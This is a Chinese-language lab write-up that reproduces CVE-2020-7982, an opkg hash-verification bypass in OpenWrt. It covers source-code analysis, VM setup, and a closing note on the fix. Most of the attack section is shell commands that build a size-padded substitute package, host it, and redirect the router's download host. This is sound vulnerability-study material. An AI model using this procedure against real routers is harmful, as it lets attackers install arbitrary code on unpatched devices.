声明

本文所使用的一些材料已经放到github上

Vulnerability_POC-EXP/OpenWrt/CVE-2020-7982 at main · a2148001284/Vulnerability_POC-EXP · GitHub

OpenWrt是一款应用于嵌入式设备如路由器等的Linux操作系统。类似于kali等linux系统中的apt-get等,该系统中下载应用使用的是opgk工具,其通过非加密的HTTP连接来下载应用。但是其下载的应用使用了SHA256sum哈希值来进行检验,所以将下载到的数据包进行哈希值的比对即可知道是否下载的数据包被修改,所以理论上来说是没有安全隐患的。

学习参考:

OPENWRT中的远程命令执行漏洞(CVE-2020-7982)-安全客 - 安全资讯平台

Uncovering OpenWRT Remote Code Execution (CVE-2020-7982) | Mayhem

我们对于这个漏洞将进行几个步骤,具体的目录如下:

目录

分析学习漏洞以及利用条件

搭建OpenWrt环境并启动

模拟漏洞利用和攻击

漏洞的相关修复


分析学习漏洞以及利用条件

分析漏需要相应的源代码,参考源代码的地址为:

https://git.openwrt.org/?p=project/opkg-lede.git;a=blob;f=libopkg/pkg_parse.c;h=0baa4db396569be816386b50568c57e12d1cd98c;hb=80d161eb5b95ceb51db989196405eaa00950e03b#l312

也可以直接clone到本地学习代码:

git clone https://git.openwrt.org/project/opkg-lede.git

首先对于源代码中这个位置

针对哈希值采用了SHA256sum的情况,会调用函数pkg_set_sha256来进行处理。传递给该函数的字符串是字符串SHA256sum后面的字符串。该函数为:

https://git.openwrt.org/?p=project/opkg-lede.git;a=blob;f=libopkg/pkg.c;h=e5bfe6f61b67583c00e528fb381162ace308dc13;hb=80d161eb5b95ceb51db989196405eaa00950e03b#l244

其会继续使用函数checksum_hex2bin来进行校验处理。如果最终检验的结果是0或者文件的长度不为32,就会出现相应的错误,返回值为NULL,从而不会保存相应的哈希值。继续进入函数checksum_hex2bin:

https://git.openwrt.org/?p=project/opkg-lede.git;a=blob;f=libopkg/file_util.c;h=61ff736cd2c82a224cb10f48d14532b8224bd792;hb=80d161eb5b95ceb51db989196405eaa00950e03b#l234

其中函数isxdigit是检查其是否为十六进制数字字符,而isspace是检查是否是空格。在这个函数中,最开始指针s和指针src是指向同一个位置的,而如果src所指向的内容出现空格,其会循环直到把空格去掉。也就是说,如果存在空格字符,也就是字符串SHA256sum后面的字符串的开头是一个空格,src和s所指向的地址就不同了。但是在256行开始的循环中,判断用到的字符是isxdigit(s[0]),依然用的是指针s所指向的内容。所以如果存在空格,此时循环会直接终止,指针len的长度为0,然后函数执行完毕。

也就是说,通过上面这样的操作,我们就可以使checksum_hex2bin函数最终处理的len值长度为0,所以pkg_set_sha256函数也会返回NULL,最终其哈希值就没有被成功设置。

接下来包列表解析就算完成了,下一步会开始HTTP下载包,然后会进入相应的验证步骤。

首先要求下载的软件包必须等于列表中指定好的大小,如下:

https://git.openwrt.org/?p=project/opkg-lede.git;a=blob;f=libopkg/opkg_install.c;h=27c9484cfb8189e42cbc073eaa14a67c71c3507a;hb=80d161eb5b95ceb51db989196405eaa00950e03b#l1379

检查相应的文件大小。且还要求如果指定了软件的哈希值,则其也需要匹配:

但是由于刚才checksum_hex2bin没有对其进行hash编码,所以这里1416行的if语句被直接跳过,不进行哈希验证。这就是相应的漏洞存在的位置。

漏洞利用

为了利用这个漏洞,我们需要实现两件事。首先让被攻击的电脑下载时重定向到我们有恶意软件包的服务器,而不是直接与downloads.openwrt.org服务器进行通信,这个需要我们能够做到更改本地的DNS或者基于ARP欺骗等策略。其次,两重检查中,哈希检查已经被绕过了,就还剩一个数据包大小的检查需要应对。那么参考文章中提供了一种很有效的方法:

1.创建一个受损的软件包,但是其大小要小于原软件包

2.计算两者之间的大小差异

3.最受损包的末尾用0字节进行填充,使其相同大小

搭建OpenWrt环境并启动

受影响的openwrt版本为OpenWrt18.06.0至18.06.6和19.07.0以及LEDE 17.01.0至17.01.7,详见百度安全验证

所以我们需要搭建的openwrt环境可以采用openwrt18.06.5来进行实验,用于模拟环境启动所使用的工具可以是qemu或FrimAE,我们以qemu为例。

我们的openwrt的安装地址如下(其它版本也可以在这个镜像源中查找下载):

https://downloads.openwrt.org/releases/18.06.5/targets/x86/64/openwrt-18.06.5-x86-64-combined-ext4.img.gz

qemu安装方式:【Kylin&ARM】QEMU的安装与环境配置 - 知乎

qemu-windows安装包下载地址:QEMU for Windows – Installers (32 bit)(我们可以在这个地址找到所有qemu的镜像地址,本文所采用的镜像地址是https://qemu.weilnetz.de/w64/2024/qemu-w64-setup-20240423.exe)源比较慢,下载需要耐心等待

实验环境配置

环境搭建参考文章:

【调试笔记-20240525-Windows-配置 QEMU/x86_64 运行 OpenWrt-23.05 发行版并搭建 WordPress 博客网站】_qemu安装openwrt-CSDN博客【安装笔记-20240520-Windows-在 QEMU 中尝试运行 OpenWRT】_qemu openwrt-CSDN博客

https://wenku.csdn.net/answer/2774e9f5ab1c4e6083e734ac5dde1bf1

我们按照参考文章设置“Windows 虚拟机监控程序平台”后,并且将qemu和openwrt的镜像都准备完成即可开始实验。

安装完毕后,在qemu的安装目录下有很多可以用于启动qemu的exe文件。

我们找到qemu-system-x86_64.exe后,在cmd下输入如下命令即可,注意把镜像名称替换成我们需要的openwrt-18.06.5-x86-64-combined-ext4.img

qemu-system-x86_64.exe -m 256 -hda openwrt-18.06.5-x86-64-combined-ext4.img -net nic,model=virtio -net user -display sdl

解释一下参数,其中-m指定内存的大小,单位是MB,-hda指定的是openwrt的镜像名称地址,-net是配置网络,virtio表示使用虚拟网卡,-net user表示使用的是用户网络模式,-display sdl 表示使用sdl显示器。只需要修改镜像地址即可成功启动来部署环境

部署完毕后,启动的openwrt为如下图所示

安装完毕后,接下来我们需要对openwrt的网络和图形化页面进行配置。由于我需要将kali作为攻击机器,也就是中间人服务器,所以我需要修改openwrt的ip地址和kali到同一个网段去,使其可以通过目标网段来和kali保证通信,并且可以访问外网,同时我们还需要设置其luci界面,官网下载的镜像默认没有luci界面管理,所以我们先设置网络,再安装luci图形化的管理。

网络环境配置

可以尝试的思路有

1.qemu模拟openwrt,vmware模拟kali,需要将openwrt和kali放在同一网段中,能ping通才可以

2.vmware的kali为例,在kali中再尝试安装qemu,然后qemu中载入openwrt的镜像,然后尝试使两者在同一网络中,能ping通

参考:Kali Linux部署qemu虚拟化启动img镜像文件教程_linux运行img镜像-CSDN博客

Linux 内核调试 七:qemu网络配置-CSDN博客

3.将openwrt的镜像转成vmdk的格式后,直接用vmware开启openwrt,同时也用vmware来开启kali,尝试使其在同一网络中,可以ping通

参考:OpenWrt之VMWare篇_vmware openwrt-CSDN博客

vmware 搭建 openwrt 实现windows宿主机连接openwrt上网-CSDN博客

不论何者,openwrt的联网问题是我遇到的比较棘手的问题,对这种思路都进行了尝试,以上内容是最终发现的成功的解决办法。

我的kali和openwrt都采用的vmware来部署的环境,kali采用的直接是NAT的模式,如下图

openwrt也采用的NAT模式,但是不知道为什么单纯设置NAT不行,要制定具体的网卡,如下图

而我的主机中,他们使用的是相同的虚拟网卡,都是VMnet8 ip地址对应的是192.168.206.0/24

最后,kali的ip地址是192.168.206.162

而openwrt在/etc/config/network中进行了配置,如下图

设置在了相同的网段,ip地址被我指定为192.168.206.100 

接下来我们尝试在kali中ping openwrt看是否成功

反过来 openwrt中ping kali

主机也可以ping通openwrt 

至此 kali和openwrt就算是成功连通了 就可以便于进行后续的实验了

由于kali本身有浏览器 我们访问openwrt的地址

也是可以成功访问其uhttpd的web服务的 所以环境至此 配置完毕

模拟漏洞利用和攻击

        根据漏洞原理 接下来我们需要利用这个漏洞,我们可以在kali服务器上构造一个符合漏洞利用的受损的数据包,通过ARP欺骗的方式拦截openwrt和downloads.openwrt.org之间的通信,使得openwrt的本地DNS在指向downloads.openwrt.org时可以被重定向到黑客的kali攻击机器从而下载数据包,这也是这个漏洞利用的条件。唯一有些困难的条件,就是我们需要在kali上构造一个大小和软件包列表中的Size字段相匹配的受损数据包,这需要一些二进制的工具帮忙。

        具体的思路如下:

1.创建一个小于Size原始字段大小的数据包

2.计算原始包和受损包之间的大小差异

3.在受损包上,用0填充这部分的差异即可

接下来的操作,都在kali攻击机器上进行,我们可以先创建一个空文件夹,用于构建数据包。

接下来可以依次执行下列的命令

首先可以先从镜像地址上下载软件包列表用于后续操作

wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/base/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/base/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/luci/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/luci/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/packages/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/packages/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/routing/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/routing/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/telephony/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/telephony/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/targets/x86/64/packages/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/targets/x86/64/packages/Packages.sig

下载后如下

可以把downloads目录下的snapshots文件夹移动出来,删除原来的文件夹,如下

mv downloads.openwrt.org/snapshots .
rm -rf downloads.openwrt.org/

接下来尝试获取原始的数据包

wget http://downloads.openwrt.org/snapshots/packages/x86_64/packages/attr_2.5.2-r3_x86_64.ipk

如果发现404未找到,可能是源上文件发生了变化,可以浏览器访问源,去找存在的文件下载即可,任何原始的数据包都是可以的

之后我们定义一个变量 ORIGINAL_FILESIZE 设定其原始的大小

ORIGINAL_FILESIZE=$(stat -c%s "attr_2.5.2-r3_x86_64.ipk")

然后压缩即可

tar zxf attr_2.5.2-r3_x86_64.ipk
rm attr_2.5.2-r3_x86_64.ipk

之后我们提取相应的二进制文件

mkdir data/
cd data/
tar zxvf ../data.tar.gz
rm ../data.tar.gz

接下来我们需要创建一个用于替换的二进制文件 程序很简单 只打印一个字符串

rm -f /tmp/pwned.asm /tmp/pwned.o
echo "section  .text" >>/tmp/pwned.asm
echo "global   _start" >>/tmp/pwned.asm
echo "_start:" >>/tmp/pwned.asm
echo " mov  edx,len" >>/tmp/pwned.asm
echo " mov  ecx,msg" >>/tmp/pwned.asm
echo " mov  ebx,1" >>/tmp/pwned.asm
echo " mov  eax,4" >>/tmp/pwned.asm
echo " int  0x80" >>/tmp/pwned.asm
echo " mov  eax,1" >>/tmp/pwned.asm
echo " int  0x80" >>/tmp/pwned.asm
echo "section  .data" >>/tmp/pwned.asm
echo "msg  db  'pwned :)',0xa" >>/tmp/pwned.asm
echo "len  equ $ - msg" >>/tmp/pwned.asm

文件的位置在/tmp/pwned.asm

之后我们进行编译

nasm /tmp/pwned.asm -f elf64 -o /tmp/pwned.o

再进行链接 其中usr/bin/attr是当前目录下的文件夹的内容

ld /tmp/pwned.o -o usr/bin/attr

将其压缩到data.tar.gz

tar czvf ../data.tar.gz *
cd ../

移除不需要的文件

rm -rf data/

进行压缩 之后移除不用的文件

tar czvf attr_2.5.2-r3_x86_64.ipk control.tar.gz data.tar.gz debian-binary
rm control.tar.gz data.tar.gz debian-binary

接下来 计算原始软件包和受损软件包间的大小差异 存到FILESIZE_DELTA中

MODIFIED_FILESIZE=$(stat -c%s "attr_2.5.2-r3_x86_64.ipk")
FILESIZE_DELTA="$(($ORIGINAL_FILESIZE-$MODIFIED_FILESIZE))"

然后向受损的数据包中 填充对应数量的0字节即可

head /dev/zero -c$FILESIZE_DELTA >>attr_2.5.2-r3_x86_64.ipk

我们使用的数据包是attr_2.5.2-r3_x86_64.ipk  我们需要在列表中找到其

依赖项libattr_2.5.2-r3_x86_64.ipk  也就是文件名前加了lib

我们下载相应的依赖

wget http://downloads.openwrt.org/snapshots/packages/x86_64/packages/libattr_2.5.2-r3_x86_64.ipk

至此我们恶意的数据包也就处理完毕了 接下来我们将这两个文件放到对应位置,将kali的服务器端口开放,将自己包装成一个可以用于下载的服务器

mkdir -p snapshots/packages/x86_64/packages/
mv attr_2.5.2-r3_x86_64.ipk snapshots/packages/x86_64/packages/
mv libattr_2.5.2-r3_x86_64.ipk snapshots/packages/x86_64/packages/

用python来开启服务器的功能

sudo python -m SimpleHTTPServer 80

如果出现以下错误,是因为python3开启的代码有所变化

可以用这个

python -m http.server 80

80为指定的端口,不指定则默认为8000端口

开启成功 可以用我们的主机来看一下

很好,部署完毕 最后一步 我们在openwrt上模拟去下载相应的数据包,但是要先修改以下host文件,来模拟ARP攻击,利用漏洞,让下载目标重定向到我们的kali上

echo "192.168.206.162 downloads.openwrt.org" >>/etc/hosts; 
opkg update && opkg install attr && attr

但是在下一行代码执时,出现了错误

怀疑可能是目录发生了改变从而导致的错误,所以我们将原先的snapshots/packages/x86_64/packages/   目录进行一些修改尝试

python的http.server会默认将当前目录作为文件分享的目录,我们可以可视化的去修改文件夹目录的名称即可

之后再重新执行下列命令

opkg update && opkg install attr && attr

可见 opkg的update已经成功绕过了

虽然最后没有完美的复现出pwned :) 这个预期的错误,但是以上报错也是一条内核级别的错误日志,表示发生了一个“通用保护错误”(General Protection Fault)。这种错误通常与内存访问有关,可能是因为程序尝试执行一个不被当前CPU模式允许的操作,或者访问了一个不存在的内存地址。

因此总的来说只需要重点关注漏洞的原理,以及这样一种复现的思路即可。这可能和系统内核有关,可能刚才写入的代码存在一些执行上的问题

但是起码证明可以执行,也就证明了漏洞的有效性

漏洞的相关修复

后续版本中,OpenWRT就把软件包列表中SHA256sum字段的空格去掉了。

这么做可以减轻用户的风险,在此之后更新软件包列表的用户不易再受攻击,因为软件包安装过程不会再跳过哈希验证步骤。

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐